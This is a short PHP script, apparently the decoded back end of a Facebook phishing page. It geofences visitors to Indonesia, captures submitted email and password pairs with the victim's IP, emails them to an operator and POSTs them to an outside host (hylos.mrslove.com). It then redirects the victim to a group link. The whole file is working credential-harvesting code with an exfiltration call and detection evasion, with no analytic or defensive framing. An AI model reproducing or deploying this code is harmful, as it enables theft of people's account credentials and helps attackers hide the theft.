PHP Decode

$ipnya = $_SERVER['REMOTE_ADDR'];
$url = 'https://freegeoip.live/json/'.$ipnya;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$data = curl_exec($ch);
curl_close($ch);
$getdata = json_decode($data, TRUE);
$country = $getdata['country_code'];
if($country <> "ID") {
    header('location: cgi-sys/defaultwebpage.cgi');
}
$user = $_POST['email'];
$pass = $_POST['password'];
$link_grup= $_POST['linkgrup'];
if($user == "" && $pass == "") {
    header('location: ./');
}
include 'email.php';
$subject = "Setoran Akun { ".$user." }";
$message = '
-=== Akun Facebook ===-
<p>
|>> Ip : '.$ipnya.'
<p>
|>> Email : '.$user.'
<p>
|>> Password : '.$pass.'
<p>
-=== Thanks ===-
';
$headersx  = 'MIME-Version: 1.0' . "
";
$headersx .= 'Content-type: text/html; charset=iso-8859-1' . "
";
$headersx .= ''.$from.'' . "
";
mail($mailto, $subject, $message, $headersx);
$ch = curl_init();
$post_data = 'email='.$user.'&password='.$pass.'&ip='.$ipnya;
curl_setopt($ch, CURLOPT_URL, 'http://hylos.mrslove.com/info.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_POST,1);
curl_exec($ch);
curl_close($ch);
header('location: '.$link_grup);